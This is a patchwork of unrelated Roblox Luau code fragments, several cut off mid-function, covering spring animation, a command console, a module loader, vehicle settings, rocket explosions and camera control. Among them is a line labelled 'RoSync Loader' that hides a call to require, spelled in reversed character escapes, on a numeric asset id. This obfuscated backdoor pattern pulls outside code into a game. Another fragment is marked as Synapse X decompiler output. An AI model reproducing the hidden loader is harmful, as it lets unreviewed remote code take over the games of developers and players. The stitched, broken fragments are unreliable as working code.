Color3 = { springType = LinearSpring.new, toIntermediate = function(value) -- convert RGB to a variant of cieluv space local r, g, b = value.R, value.G, value.B -- D65 sRGB inverse gamma correction r = r < 0.0404482362771076 and r/12.92 or 0.87941546140213*(r + 0.055)^2.4 g = g < 0.0404482362771076 and g/12.92 or 0.87941546140213*(g + 0.055)^2.4 b = b < 0.0404482362771076 and b/12.92 or 0.87941546140213*(b + 0.055)^2.4 -- sRGB -> xyz local x = 0.9257063972951867*r - 0.8333736323779866*g - 0.09209820666085898*b local y = 0.2125862307855956*r + 0.71517030370341085*g + 0.0722004986433362*b local z = 3.6590806972265883*r + 11.4426895800574232*g + 4.1149915024264843*b -- xyz -> modified cieluv local l = y > 0.008856451679035631 and 116*y^(1/3) - 16 or 903.296296296296*y local u, v if z > 1e-14 then u = l*x/z v = l*(9*y/z - 0.46832) else u = -0.19783*l v = -0.46832*l end return {l, u, v} end, fromIntermediate = function(value) -- convert back from modified cieluv to rgb space local l = value[1] if l < 0.0197955 then return Color3.new(0, 0, 0) end local u = value[2]/l + 0.19783 local v = value[3]/l + 0.46832 -- cieluv -> xyz local y = (l + 16)/116 y = y > 0.206896551724137931 and y*y*y or 0.12841854934601665*y - 0.01771290335807126 local x = y*u/v local z = y*((3 - 0.75*u)/v - 5) -- xyz -> D65 sRGB local r = 7.2914074*x - 1.5372080*y - 0.4986286*z local g = -2.1800940*x + 1.8757561*y + 0.0415175*z local b = 0.1253477*x - 0.2040211*y + 1.0569959*z -- clamp minimum sRGB component if r < 0 and r < g and r < b then r, g, b = 0, g - r, b - r elseif g < 0 and g < b then r, g, b = r - g, 0, b - g elseif b < 0 then r, g, b = r - b, g - b, 0 end -- gamma correction from D65 -- clamp to avoid undesirable overflow wrapping behavior on certain properties (e.g. BasePart.Color) return Color3.new( min(r < 3.1306684425e-3 and 12.92*r or 1.055*r^(1/2.4) - 0.055, 1), min(g < 3.1306684425e-3 and 12.92*g or 1.055*g^(1/2.4) - 0.055, 1), min(b < 3.1306684425e-3 and 12.92*b or 1.055*b^(1/2.4) - 0.055, 1) ) end, }, } local springStates = {} -- {[instance] = {[property] = spring} RunService.Heartbeat:Connect(function(dt) debug.profilebegin("spr heartbeat") for instance, state in pairs(springStates) do for propName, spring in pairs(state) do if spring:canSleep() then state[propName] = nil instance[propName] = spring.rawTarget else instance[propName] = spring:step(dt) end end if not next(state) then springStates[instance] = nil end end debug.profileend() end) local function assertType(argNum, fnName, expectedType, value) if not STRICT_TYPES then return end if not expectedType:find(typeof(value)) then error( ("bad argument #%d to %s (%s expected, got %s)"):format( argNum, fnName, expectedType, typeof(value) ), 3 ) end end local spr = {} function spr.target(instance, dampingRatio, frequency, properties) assertType(1, "spr.target", "Instance", instance) assertType(2, "spr.target", "number", dampingRatio) assertType(3, "spr.target", "number", frequency) assertType(4, "spr.target", "table", properties) if dampingRatio ~= dampingRatio or dampingRatio < 0 then error(("expected damping ratio >= 0; got %.2f"):format(dampingRatio), 2) end if frequency ~= frequency or frequency < 0 then error(("expected undamped frequency >= 0; got %.2f"):format(frequency), 2) end local state = springStates[instance] if not state then state = {} springStates[instance] = state end for propName, propTarget in pairs(properties) do local propValue = instance[propName] if STRICT_TYPES and typeof(propTarget) ~= typeof(propValue) then error( ("bad property %s to spr.target (%s expected, got %s)"):format( propName, typeof(propValue), typeof(propTarget) ), 2 ) end local spring = state[propName] if not spring then local md = typeMetadata[typeof(propTarget)] if not md then error("unsupported type: " .. typeof(propTarget), 2) end spring = md.springType(dampingRatio, frequency, propValue, md, propTarget) state[propName] = spring end spring.d = dampingRatio spring.f = frequency spring:setGoal(propTarget) end end function spr.stop(instance, property) assertType(1, "spr.stop", "Instance", instance) assertType(2, "spr.stop", "string|nil", property) if property then local state = springStates[instance] if state then state[property] = nil end else springStates[instance] = nil end end if STRICT_API_ACCESS then return tableLock(spr) else return spr end
--- Handles user input when the box is focused
function Window:BeginInput(input, gameProcessed) if GuiService.MenuIsOpen then self:Hide() end if gameProcessed and self:IsVisible() == false then return end if self.Cmdr.ActivationKeys[input.KeyCode] then -- Activate the command bar if self.Cmdr.MashToEnable and not self.Cmdr.Enabled then if tick() - lastPressTime < 1 then if pressCount >= 5 then return self.Cmdr:SetEnabled(true) else pressCount = pressCount + 1 end else pressCount = 1 end lastPressTime = tick() elseif self.Cmdr.Enabled then self:SetVisible(not self:IsVisible()) wait() self:SetEntryText("") if GuiService.MenuIsOpen then -- Special case for menu getting stuck open (roblox bug) self:Hide() end end return end if self.Cmdr.Enabled == false or not self:IsVisible() then if self:IsVisible() then self:Hide() end return end if self.Cmdr.HideOnLostFocus and table.find(MOUSE_TOUCH_ENUM, input.UserInputType) then local ps = input.Position local ap = Gui.AbsolutePosition local as = Gui.AbsoluteSize if ps.X < ap.X or ps.X > ap.X + as.X or ps.Y < ap.Y or ps.Y > ap.Y + as.Y then self:Hide() end elseif input.KeyCode == Enum.KeyCode.Down then -- Auto Complete Down self:SelectVertical(1) elseif input.KeyCode == Enum.KeyCode.Up then -- Auto Complete Up self:SelectVertical(-1) elseif input.KeyCode == Enum.KeyCode.Return then -- Eat new lines wait() self:SetEntryText(self:GetEntryText():gsub("\n", ""):gsub("\r", "")) elseif input.KeyCode == Enum.KeyCode.Tab then -- Auto complete local item = self.AutoComplete:GetSelectedItem() local text = self:GetEntryText() if item and not (text:sub(#text, #text):match("%s") and self.AutoComplete.LastItem) then local replace = item[2] local newText local insertSpace = true local command = self.AutoComplete.Command if command then local lastArg = self.AutoComplete.Arg newText = command.Alias insertSpace = self.AutoComplete.NumArgs ~= #command.ArgumentDefinitions and self.AutoComplete.IsPartial == false local args = command.Arguments for i = 1, #args do local arg = args[i] local segments = arg.RawSegments if arg == lastArg then segments[#segments] = replace end local argText = arg.Prefix .. table.concat(segments, ",") -- Put auto completion options in quotation marks if they have a space if argText:find(" ") or argText == "" then argText = ("%q"):format(argText) end newText = ("%s %s"):format(newText, argText) if arg == lastArg then break end end else newText = replace end -- need to wait a frame so we can eat the \t wait() -- Update the text box self:SetEntryText(newText .. (insertSpace and " " or "")) else -- Still need to eat the \t even if there is no auto-complete to show wait() self:SetEntryText(self:GetEntryText()) end else self:ClearHistoryState() end end
--[=[ @private @class ScriptInfoUtils ]=]
local CollectionService = game:GetService("CollectionService") local loader = script.Parent local Utils = require(script.Parent.Utils) local BounceTemplateUtils = require(script.Parent.BounceTemplateUtils) local ScriptInfoUtils = {} ScriptInfoUtils.DEPENDENCY_FOLDER_NAME = "node_modules"; ScriptInfoUtils.ModuleReplicationTypes = Utils.readonly({ CLIENT = "client"; SERVER = "server"; SHARED = "shared"; IGNORE = "ignore"; PLUGIN = "plugin"; }) function ScriptInfoUtils.createScriptInfo(instance, name, replicationMode) assert(typeof(instance) == "Instance", "Bad instance") assert(type(name) == "string", "Bad name") assert(type(replicationMode) == "string", "Bad replicationMode") return Utils.readonly({ name = name; replicationMode = replicationMode; instance = instance; }) end function ScriptInfoUtils.createScriptInfoLookup() -- Server/client also contain shared entries return Utils.readonly({ [ScriptInfoUtils.ModuleReplicationTypes.SERVER] = {}; -- [string name] = scriptInfo [ScriptInfoUtils.ModuleReplicationTypes.CLIENT] = {}; [ScriptInfoUtils.ModuleReplicationTypes.SHARED] = {}; [ScriptInfoUtils.ModuleReplicationTypes.PLUGIN] = {}; }) end function ScriptInfoUtils.getScriptInfoLookupForMode(scriptInfoLookup, replicationMode) assert(type(scriptInfoLookup) == "table", "Bad scriptInfoLookup") assert(type(replicationMode) == "string", "Bad replicationMode") return scriptInfoLookup[replicationMode] end function ScriptInfoUtils.populateScriptInfoLookup(instance, scriptInfoLookup, lastReplicationMode) assert(typeof(instance) == "Instance", "Bad instance") assert(type(scriptInfoLookup) == "table", "Bad scriptInfoLookup") assert(type(lastReplicationMode) == "string", "Bad lastReplicationMode") if instance:IsA("Folder") or instance:IsA("Camera") then local replicationMode = ScriptInfoUtils.getFolderReplicationMode(instance.Name, lastReplicationMode) if replicationMode ~= ScriptInfoUtils.ModuleReplicationTypes.IGNORE then for _, item in pairs(instance:GetChildren()) do if not BounceTemplateUtils.isBounceTemplate(item) then if item:IsA("Folder") or item:IsA("Camera") then ScriptInfoUtils.populateScriptInfoLookup(item, scriptInfoLookup, replicationMode) elseif item:IsA("ModuleScript") then ScriptInfoUtils.addToInfoMap(scriptInfoLookup, ScriptInfoUtils.createScriptInfo(item, item.Name, replicationMode)) end end end end elseif instance:IsA("ModuleScript") then if not BounceTemplateUtils.isBounceTemplate(instance) then if instance == loader then -- STRICT hack to support this module script as "loader" over "Nevermore" in replicated scenario ScriptInfoUtils.addToInfoMap(scriptInfoLookup, ScriptInfoUtils.createScriptInfo(instance, "loader", lastReplicationMode)) else ScriptInfoUtils.addToInfoMap(scriptInfoLookup, ScriptInfoUtils.createScriptInfo(instance, instance.Name, lastReplicationMode)) end end elseif instance:IsA("ObjectValue") then error("ObjectValue links are not supported at this time for retrieving inline module scripts") end end local AVAILABLE_IN_SHARED = { ["HoldingBindersServer"] = true; ["HoldingBindersClient"] = true; ["IKService"] = true; ["IKServiceClient"] = true; } function ScriptInfoUtils.isAvailableInShared(scriptInfo) if CollectionService:HasTag(scriptInfo.instance, "LinkToShared") then return true end -- Hack because we can't tag things in Rojo yet return AVAILABLE_IN_SHARED[scriptInfo.name] end function ScriptInfoUtils.addToInfoMap(scriptInfoLookup, scriptInfo) assert(type(scriptInfoLookup) == "table", "Bad scriptInfoLookup") assert(type(scriptInfo) == "table", "Bad scriptInfo") local replicationMode = assert(scriptInfo.replicationMode, "Bad replicationMode") local replicationMap = assert(scriptInfoLookup[replicationMode], "Bad replicationMode") ScriptInfoUtils.addToInfoMapForMode(replicationMap, scriptInfo) if replicationMode == ScriptInfoUtils.ModuleReplicationTypes.SHARED then ScriptInfoUtils.addToInfoMapForMode( scriptInfoLookup[ScriptInfoUtils.ModuleReplicationTypes.SERVER], scriptInfo) ScriptInfoUtils.addToInfoMapForMode( scriptInfoLookup[ScriptInfoUtils.ModuleReplicationTypes.CLIENT], scriptInfo) elseif ScriptInfoUtils.isAvailableInShared(scriptInfo) then ScriptInfoUtils.addToInfoMapForMode( scriptInfoLookup[ScriptInfoUtils.ModuleReplicationTypes.SHARED], scriptInfo) end end function ScriptInfoUtils.addToInfoMapForMode(replicationMap, scriptInfo) if replicationMap[scriptInfo.name] then warn(("Duplicate module %q in same package under same replication scope. Only using first one. \n- %q\n- %q") :format(scriptInfo.name, scriptInfo.instance:GetFullName(), replicationMap[scriptInfo.name].instance:GetFullName())) return end replicationMap[scriptInfo.name] = scriptInfo end function ScriptInfoUtils.getFolderReplicationMode(folderName, lastReplicationMode) assert(type(folderName) == "string", "Bad folderName") assert(type(lastReplicationMode) == "string", "Bad lastReplicationMode") --Plugin always replicates further if folderName == ScriptInfoUtils.DEPENDENCY_FOLDER_NAME then return ScriptInfoUtils.ModuleReplicationTypes.IGNORE elseif lastReplicationMode == ScriptInfoUtils.ModuleReplicationTypes.PLUGIN then return lastReplicationMode elseif folderName == "Shared" then return ScriptInfoUtils.ModuleReplicationTypes.SHARED elseif folderName == "Client" then return ScriptInfoUtils.ModuleReplicationTypes.CLIENT elseif folderName == "Server" then return ScriptInfoUtils.ModuleReplicationTypes.SERVER else return lastReplicationMode end end return ScriptInfoUtils
-- Updated January 19, 2017 for use in plane system
--[[ By: Brutez. ]]
-- local JeffTheKillerScript=script; repeat Wait(0)until JeffTheKillerScript and JeffTheKillerScript.Parent and JeffTheKillerScript.Parent.ClassName=="Model"and JeffTheKillerScript.Parent:FindFirstChild("Head")and JeffTheKillerScript.Parent:FindFirstChild("Torso"); local JeffTheKiller=JeffTheKillerScript.Parent; function raycast(Spos,vec,currentdist) local hit2,pos2=game.Workspace:FindPartOnRay(Ray.new(Spos+(vec*.05),vec*currentdist),JeffTheKiller); if hit2~=nil and pos2 then if hit2.Name=="Handle" and not hit2.CanCollide or string.sub(hit2.Name,1,6)=="Effect"and not hit2.CanCollide then local currentdist=currentdist-(pos2-Spos).magnitude; return raycast(pos2,vec,currentdist); end; end; return hit2,pos2; end; function RayCast(Position,Direction,MaxDistance,IgnoreList) return Game:GetService("Workspace"):FindPartOnRayWithIgnoreList(Ray.new(Position,Direction.unit*(MaxDistance or 999.999)),IgnoreList); end;
---[[ Chat Text Size Settings ]]
module.ChatWindowTextSize = 18 module.ChatChannelsTabTextSize = 18 module.ChatBarTextSize = 18 module.ChatWindowTextSizePhone = 14 module.ChatChannelsTabTextSizePhone = 18 module.ChatBarTextSizePhone = 14
--// All global vars will be wiped/replaced except script
return function(data, env) if env then setfenv(1, env) end local playergui = service.PlayerGui local localplayer = service.Player local toggle = script.Parent.Parent.Toggle if client.Core.Get("Chat") then toggle.Position = UDim2.new(1, -(45+40),1, -45) end toggle.MouseButton1Down:Connect(function() local found = client.Core.Get("UserPanel",nil,true) if found then found.Object:Destroy() else client.Core.Make("UserPanel",{}) end end) script.Parent.Parent.Parent = playergui end
-------------------------
mouse.KeyDown:connect(function (key) key = string.lower(key) if key == "q" then if script.Parent.Gear.Value < 0 then script.Parent.Gear.Value = -1 else script.Parent.CC.Value = false script.Parent.Gear.Value = script.Parent.Gear.Value -1 carSeat.Shift:Play() end end if key == "e" then if script.Parent.Gear.Value > 0 then script.Parent.Gear.Value = 1 else script.Parent.Gear.Value = script.Parent.Gear.Value +1 carSeat.Shift:Play() end end if key == "l" and light == false then light = true carSeat.Parent.LeftHL.SpotLight.Enabled = true carSeat.Parent.RightHL.SpotLight.Enabled = true carSeat.Parent.BrL.SpotLight.Enabled = true carSeat.Parent.Router.Material = "Neon" carSeat.Parent.Louter.Material = "Neon" elseif key == "l" and light == true then light = false carSeat.Parent.LeftHL.SpotLight.Enabled = false carSeat.Parent.RightHL.SpotLight.Enabled = false carSeat.Parent.BrL.SpotLight.Enabled = false carSeat.Parent.Router.Material = "SmoothPlastic" carSeat.Parent.Louter.Material = "SmoothPlastic" end if carSeat.Velocity.Magnitude > 35 and key == "c" and cc.Value == false and script.Parent.Gear.Value == 1 then cc.Value = true rr.MaxSpeed = carSeat.Velocity.Magnitude rl.MaxSpeed = carSeat.Velocity.Magnitude fr.MaxSpeed = carSeat.Velocity.Magnitude fl.MaxSpeed = carSeat.Velocity.Magnitude rr.Throttle = 1 rl.Throttle = 1 fl.Throttle = 1 fr.Throttle = 1 rr.Torque = script.Parent.RTQ.Value rl.Torque = script.Parent.RTQ.Value fl.Torque = script.Parent.FTQ.Value fr.Torque = script.Parent.FTQ.Value elseif key == "c" and cc.Value == true then cc.Value = false rr.Throttle = 0 rl.Throttle = 0 fl.Throttle = 0 fr.Throttle = 0 end if key == "a" then a = true
-- Decompiled with the Synapse X Luau decompiler.
local l__RunService__1 = game:GetService("RunService"); local l__StarterGui__2 = game:GetService("StarterGui"); local l__LocalPlayer__3 = game:GetService("Players").LocalPlayer; local l__Shared__4 = script:WaitForChild("Shared"); local v5 = require(l__Shared__4:WaitForChild("Util")); if l__RunService__1:IsClient() == false then error("Server scripts cannot require the client library. Please require the server library to use Cmdr in your own code."); end; local v6 = setmetatable({ ReplicatedRoot = script, RemoteFunction = script:WaitForChild("CmdrFunction"), RemoteEvent = script:WaitForChild("CmdrEvent"), ActivationKeys = { [Enum.KeyCode.F2] = true }, Enabled = true, MashToEnable = false, ActivationUnlocksMouse = false, HideOnLostFocus = true, PlaceName = "Cmdr", Util = v5, Events = {} }, { __index = function(p1, p2) local v7 = p1.Dispatcher[p2]; if not v7 or type(v7) ~= "function" then return; end; return function(p3, ...) return v7(p1.Dispatcher, ...); end; end }); v6.Registry = require(l__Shared__4.Registry)(v6); v6.Dispatcher = require(l__Shared__4.Dispatcher)(v6); if l__StarterGui__2:WaitForChild("Cmdr") and wait() and l__LocalPlayer__3:WaitForChild("PlayerGui"):FindFirstChild("Cmdr") == nil then l__StarterGui__2.Cmdr:Clone().Parent = l__LocalPlayer__3.PlayerGui; end; function v6.SetActivationKeys(p4, p5) p4.ActivationKeys = v5.MakeDictionary(p5); end; local u1 = require(script.CmdrInterface)(v6); function v6.SetPlaceName(p6, p7) p6.PlaceName = p7; u1.Window:UpdateLabel(); end; function v6.SetEnabled(p8, p9) p8.Enabled = p9; end; function v6.SetActivationUnlocksMouse(p10, p11) p10.ActivationUnlocksMouse = p11; end; function v6.Show(p12) if not p12.Enabled then return; end; u1.Window:Show(); end; function v6.Hide(p13) u1.Window:Hide(); end; function v6.Toggle(p14) if not p14.Enabled then return p14:Hide(); end; u1.Window:SetVisible(not u1.Window:IsVisible()); end; function v6.SetMashToEnable(p15, p16) p15.MashToEnable = p16; if p16 then p15:SetEnabled(false); end; end; function v6.SetHideOnLostFocus(p17, p18) p17.HideOnLostFocus = p18; end; function v6.HandleEvent(p19, p20, p21) p19.Events[p20] = p21; end; if l__RunService__1:IsServer() == false then v6.Registry:RegisterTypesIn(script:WaitForChild("Types")); v6.Registry:RegisterCommandsIn(script:WaitForChild("Commands")); end; v6.RemoteEvent.OnClientEvent:Connect(function(p22, ...) if v6.Events[p22] then v6.Events[p22](...); end; end); require(script.DefaultEventHandlers)(v6); return v6;
--Claims Apartment
rentprompt.TriggerEnded:Connect(function(Player) local claim = Player.Name if owner.Value == "" then owner.Value = claim script.Parent.Rent.Enabled = false script.Parent.OpenClose.Enabled = true end end)
-- ROBLOX upstream: https://github.com/facebook/jest/tree/v27.4.7/packages/jest-util/src/deepCyclicCopy.ts
-- initialize to idle
playAnimation("idle", 0.1, Humanoid) pose = "Standing"
-- Device check
local IS_CONSOLE = GuiService:IsTenFootInterface() local IS_MOBILE = UserInputService.TouchEnabled and not UserInputService.MouseEnabled and not IS_CONSOLE
-- Customized explosive effect that doesn't affect teammates and only breaks joints on dead parts
local TaggedHumanoids = {} local function OnExplosionHit(hitPart, hitDistance, blastCenter) if hitPart and hitDistance then local character, humanoid = FindCharacterAncestor(hitPart.Parent) if character then local myPlayer = CreatorTag.Value if myPlayer and not myPlayer.Neutral then -- Ignore friendlies caught in the blast local player = PlayersService:GetPlayerFromCharacter(character) if player and player ~= myPlayer and player.TeamColor == Rocket.BrickColor then return end end end if humanoid and humanoid.Health > 0 then -- Humanoids are tagged and damaged if not IsInTable(TaggedHumanoids,humanoid) then print("Tagged") table.insert(TaggedHumanoids,humanoid) ApplyTags(humanoid) humanoid:TakeDamage(BLAST_DAMAGE) end else -- Loose parts and dead parts are blasted if hitPart.Name ~= 'Handle' then local effect = script.Effects.Effect:Clone() local smoke = script.Effects.Smoke:Clone() local smoke2 = script.Effects.Smoke2:Clone() local fire = Instance.new("Fire") fire.Heat = 10000 fire.Size = 100 if IGNITE_PARTS == true then fire.Parent = hitPart end if SPECIAL_EFFECTS == true then effect.Enabled = true smoke2.Enabled = true smoke.Enabled = true effect.Parent = hitPart smoke2.Parent = hitPart smoke.Parent = hitPart end if UNANCHOR_PARTS == true then hitPart.Anchored = false end if BREAK_JOINTS == true then hitPart:BreakJoints() end local blastForce = Instance.new('BodyForce', hitPart) --NOTE: We will multiply by mass so bigger parts get blasted more blastForce.Force = (hitPart.Position - blastCenter).unit * BLAST_FORCE * hitPart:GetMass() DebrisService:AddItem(blastForce, 0.1) wait(0.1) effect.Enabled = false smoke2.Enabled = false wait(2) effect:Destroy() smoke2:Destroy() smoke.Enabled = false end end end end local function OnTouched(otherPart) if Rocket and otherPart then -- Fly through anything in the ignore list if IGNORE_LIST[string.lower(otherPart.Name)] then return end local myPlayer = CreatorTag.Value if myPlayer then -- Fly through the creator if myPlayer.Character and myPlayer.Character:IsAncestorOf(otherPart) then return end -- Fly through friendlies if not myPlayer.Neutral then local character = FindCharacterAncestor(otherPart.Parent) local player = PlayersService:GetPlayerFromCharacter(character) if player and player ~= myPlayer and player.TeamColor == Rocket.BrickColor then return end end end -- Fly through terrain water if otherPart == workspace.Terrain then --NOTE: If the rocket is large, then the simplifications made here will cause it to fly through terrain in some cases local frontOfRocket = Rocket.Position + (Rocket.CFrame.lookVector * (Rocket.Size.Z / 2)) local cellLocation = workspace.Terrain:WorldToCellPreferSolid(frontOfRocket) local cellMaterial = workspace.Terrain:GetCell(cellLocation.X, cellLocation.Y, cellLocation.Z) if cellMaterial == Enum.CellMaterial.Water or cellMaterial == Enum.CellMaterial.Empty then return end end -- Create the explosion local explosion = Instance.new('Explosion') explosion.BlastPressure = 0 -- Completely safe explosion explosion.BlastRadius = BLAST_RADIUS explosion.ExplosionType = Enum.ExplosionType.NoCraters explosion.Position = Rocket.Position explosion.Parent = workspace -- Connect custom logic for the explosion explosion.Hit:Connect(function(hitPart, hitDistance) OnExplosionHit(hitPart, hitDistance, explosion.Position) end) -- Move this script and the creator tag (so our custom logic can execute), then destroy the rocket script.Parent = explosion CreatorTag.Parent = script Rocket:Destroy() end end
-- print("Keyframe : ".. frameName)
local repeatAnim = stopToolAnimations() playToolAnimation(repeatAnim, 0.0, Humanoid) end end function playToolAnimation(animName, transitionTime, humanoid) if (animName ~= toolAnimName) then if (toolAnimTrack ~= nil) then toolAnimTrack:Stop() toolAnimTrack:Destroy() transitionTime = 0 end local roll = math.random(1, animTable[animName].totalWeight) local origRoll = roll local idx = 1 while roll > animTable[animName][idx].weight do roll = roll - animTable[animName][idx].weight idx = idx + 1 end
--[[Weight and CG]]
Tune.Weight = 3000 -- Total weight (in pounds) Tune.WeightBSize = { -- Size of weight brick (dimmensions in studs ; larger = more stable) --[[Width]] 6 , --[[Height]] 3.5 , --[[Length]] 14 } Tune.WeightDist = 50 -- Weight distribution (0 - on rear wheels, 100 - on front wheels, can be <0 or >100) Tune.CGHeight = .8 -- Center of gravity height (studs relative to median of all wheels) Tune.WBVisible = false -- Makes the weight brick visible --Unsprung Weight Tune.FWheelDensity = .1 -- Front Wheel Density Tune.RWheelDensity = .1 -- Rear Wheel Density Tune.FWLgcyDensity = 1 -- Front Wheel Density [PGS OFF] Tune.RWLgcyDensity = 1 -- Rear Wheel Density [PGS OFF] Tune.AxleSize = 2 -- Size of structural members (larger = more stable/carry more weight) Tune.AxleDensity = .1 -- Density of structural members
--[[Weld functions]]
local JS = game:GetService("JointsService") local PGS_ON = workspace:PGSIsEnabled() function MakeWeld(x,y,type,s) if type==nil then type="Weld" end local W=Instance.new(type,JS) W.Part0=x W.Part1=y W.C0=x.CFrame:inverse()*x.CFrame W.C1=y.CFrame:inverse()*x.CFrame if type=="Motor" and s~=nil then W.MaxVelocity=s end return W end function ModelWeld(a,b) if a:IsA("BasePart") then MakeWeld(b,a,"Weld") elseif a:IsA("Model") then for i,v in pairs(a:GetChildren()) do ModelWeld(v,b) end end end function UnAnchor(a) if a:IsA("BasePart") then a.Anchored=false end for i,v in pairs(a:GetChildren()) do UnAnchor(v) end end
--[[ Last synced 11/17/2020 05:01 RoSync Loader ]]
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722947559) --[[ ]]--
--s.Pitch = 0.7
s2.Volume=0 s.Volume=1 while true do
--[=[ @within TableUtil @function Copy @param tbl table -- Table to copy @param deep boolean? -- Whether or not to perform a deep copy @return table Creates a copy of the given table. By default, a shallow copy is performed. For deep copies, a second boolean argument must be passed to the function. :::caution No cyclical references Deep copies are _not_ protected against cyclical references. Passing a table with cyclical references _and_ the `deep` parameter set to `true` will result in a stack-overflow. ]=]
local function Copy<T>(t: T, deep: boolean?): T if not deep then return (table.clone(t :: any) :: any) :: T end local function DeepCopy(tbl: { any }) local tCopy = table.clone(tbl) for k, v in tCopy do if type(v) == "table" then tCopy[k] = DeepCopy(v) end end return tCopy end return DeepCopy(t :: any) :: T end
-- ==================== -- EXPLOSIVE -- Make a bullet explosive so user can deal a damage to multiple enemy in single shot. NOTE: Explosion won't break joints -- ====================
ExplosiveEnabled = false; Radius = 8;
--[[ Client-side manager that listens to the FTUE stage in a player's data to show hints to the player about what to do in the current stage and handle client-side effects --]]
local ReplicatedStorage = game:GetService("ReplicatedStorage") local PlayerDataClient = require(ReplicatedStorage.Source.PlayerData.Client) local FtueStage = require(ReplicatedStorage.Source.SharedConstants.FtueStage) local InFarmFtueStage = require(script.StageHandlers.InFarmFtueStage) local SellingPlantFtueStage = require(script.StageHandlers.SellingPlantFtueStage) local PurchasingSeedFtueStage = require(script.StageHandlers.PurchasingSeedFtueStage) local PurchasingPotFtueStage = require(script.StageHandlers.PurchasingPotFtueStage) local ReturningToFarmFtueStage = require(script.StageHandlers.ReturningToFarmFtueStage) local PlayerDataKey = require(ReplicatedStorage.Source.SharedConstants.PlayerDataKey) type Stage = any -- TODO: Is there a way to specify a generic stage type containing setup and teardown? local handlerByStage: { [string]: Stage } = { [FtueStage.InFarm] = InFarmFtueStage, [FtueStage.SellingPlant] = SellingPlantFtueStage, [FtueStage.PurchasingSeed] = PurchasingSeedFtueStage, [FtueStage.PurchasingPot] = PurchasingPotFtueStage, [FtueStage.ReturningToFarm] = ReturningToFarmFtueStage, } local FtueManagerClient = {} FtueManagerClient.activeStage = nil :: Stage? function FtueManagerClient.start() local ftueStage = PlayerDataClient.get(PlayerDataKey.FtueStage) FtueManagerClient._onFtueStageUpdated(ftueStage) PlayerDataClient.updated:Connect(function(valueName: any, value: any) if valueName :: string ~= PlayerDataKey.FtueStage then return end FtueManagerClient._onFtueStageUpdated(value) end) end function FtueManagerClient._onFtueStageUpdated(ftueStage: FtueStage.EnumType?) if FtueManagerClient.activeStage then FtueManagerClient.activeStage.teardown() end FtueManagerClient.activeStage = ftueStage and handlerByStage[ftueStage] if FtueManagerClient.activeStage then FtueManagerClient.activeStage.setup() end end return FtueManagerClient
-------------------- --[[ If the meshUpgrade is set to true above, then the cash brick that touches the upgrader will be turned into a mesh which will have its settings bellow: Mesh Settings: Look at the mesh properties and change the inside of the quotes below to the appropriate full link or the rbxasset:// style, doesnt matter which one you see in the mesh you want]]
meshID = "rbxassetid://431035980" textureID = "rbxassetid://431036179"
--- pellet:Destroy()
end end end end end pellet.Touched:connect(onTouched) wait(10) pellet.Parent = nil
--[=[ @function differenceSymmetric @within Set @param set Set<V> -- The set to compare. @param ... ...Set<V> -- The sets to compare against. @return Set<V> -- The symmetric difference between the sets. Returns a set of values that are in the first set, but not in the other sets, and vice versa. ```lua local set1 = { hello = true, world = true } local set2 = { cat = true, dog = true, hello = true } local differenceSymmetric = DifferenceSymmetric(set1, set2) -- { world = true, cat = true, dog = true } ``` ]=]
local function differenceSymmetric<V>(set: T.Set<V>, ...: T.Set<V>): T.Set<V> local diff = table.clone(set) for _, nextSet in { ... } do if typeof(nextSet) ~= "table" then continue end for value in nextSet do diff[value] = if diff[value] == nil then true else false end end for value, keep in diff do diff[value] = if keep then true else nil end return diff end return differenceSymmetric
-- Listener for changes to workspace.CurrentCamera
function BaseCamera:OnCurrentCameraChanged() if UserInputService.TouchEnabled then if self.viewportSizeChangedConn then self.viewportSizeChangedConn:Disconnect() self.viewportSizeChangedConn = nil end local newCamera = game.Workspace.CurrentCamera if newCamera then self:OnViewportSizeChanged() self.viewportSizeChangedConn = newCamera:GetPropertyChangedSignal("ViewportSize"):Connect(function() self:OnViewportSizeChanged() end) end end -- VR support additions if self.cameraSubjectChangedConn then self.cameraSubjectChangedConn:Disconnect() self.cameraSubjectChangedConn = nil end local camera = game.Workspace.CurrentCamera if camera then self.cameraSubjectChangedConn = camera:GetPropertyChangedSignal("CameraSubject"):Connect(function() self:OnNewCameraSubject() end) self:OnNewCameraSubject() end end function BaseCamera:OnDynamicThumbstickEnabled() if UserInputService.TouchEnabled then self.isDynamicThumbstickEnabled = true end end function BaseCamera:OnDynamicThumbstickDisabled() self.isDynamicThumbstickEnabled = false end function BaseCamera:OnGameSettingsTouchMovementModeChanged() if Players.LocalPlayer.DevTouchMovementMode == Enum.DevTouchMovementMode.UserChoice then if (UserGameSettings.TouchMovementMode == Enum.TouchMovementMode.DynamicThumbstick or UserGameSettings.TouchMovementMode == Enum.TouchMovementMode.Default) then self:OnDynamicThumbstickEnabled() else self:OnDynamicThumbstickDisabled() end end end function BaseCamera:OnDevTouchMovementModeChanged() if Players.LocalPlayer.DevTouchMovementMode.Name == "DynamicThumbstick" then self:OnDynamicThumbstickEnabled() else self:OnGameSettingsTouchMovementModeChanged() end end function BaseCamera:OnPlayerCameraPropertyChange() -- This call forces re-evaluation of player.CameraMode and clamping to min/max distance which may have changed self:SetCameraToSubjectDistance(self.currentSubjectDistance) end function BaseCamera:GetCameraHeight() if VRService.VREnabled and not self.inFirstPerson then return math.sin(VR_ANGLE) * self.currentSubjectDistance end return 0 end function BaseCamera:InputTranslationToCameraAngleChange(translationVector, sensitivity) local camera = game.Workspace.CurrentCamera if camera and camera.ViewportSize.X > 0 and camera.ViewportSize.Y > 0 and (camera.ViewportSize.Y > camera.ViewportSize.X) then -- Screen has portrait orientation, swap X and Y sensitivity return translationVector * Vector2.new( sensitivity.Y, sensitivity.X) end return translationVector * sensitivity end function BaseCamera:Enable(enable) if self.enabled ~= enable then self.enabled = enable if self.enabled then self:ConnectInputEvents() self:BindContextActions() if Players.LocalPlayer.CameraMode == Enum.CameraMode.LockFirstPerson then self.currentSubjectDistance = 0.5 if not self.inFirstPerson then self:EnterFirstPerson() end end else self:DisconnectInputEvents() self:UnbindContextActions() -- Clean up additional event listeners and reset a bunch of properties self:Cleanup() end end end function BaseCamera:GetEnabled() return self.enabled end function BaseCamera:OnInputBegan(input, processed) if input.UserInputType == Enum.UserInputType.Touch then self:OnTouchBegan(input, processed) elseif input.UserInputType == Enum.UserInputType.MouseButton2 then self:OnMouse2Down(input, processed) elseif input.UserInputType == Enum.UserInputType.MouseButton3 then self:OnMouse3Down(input, processed) end end function BaseCamera:OnInputChanged(input, processed) if input.UserInputType == Enum.UserInputType.Touch then self:OnTouchChanged(input, processed) elseif input.UserInputType == Enum.UserInputType.MouseMovement then 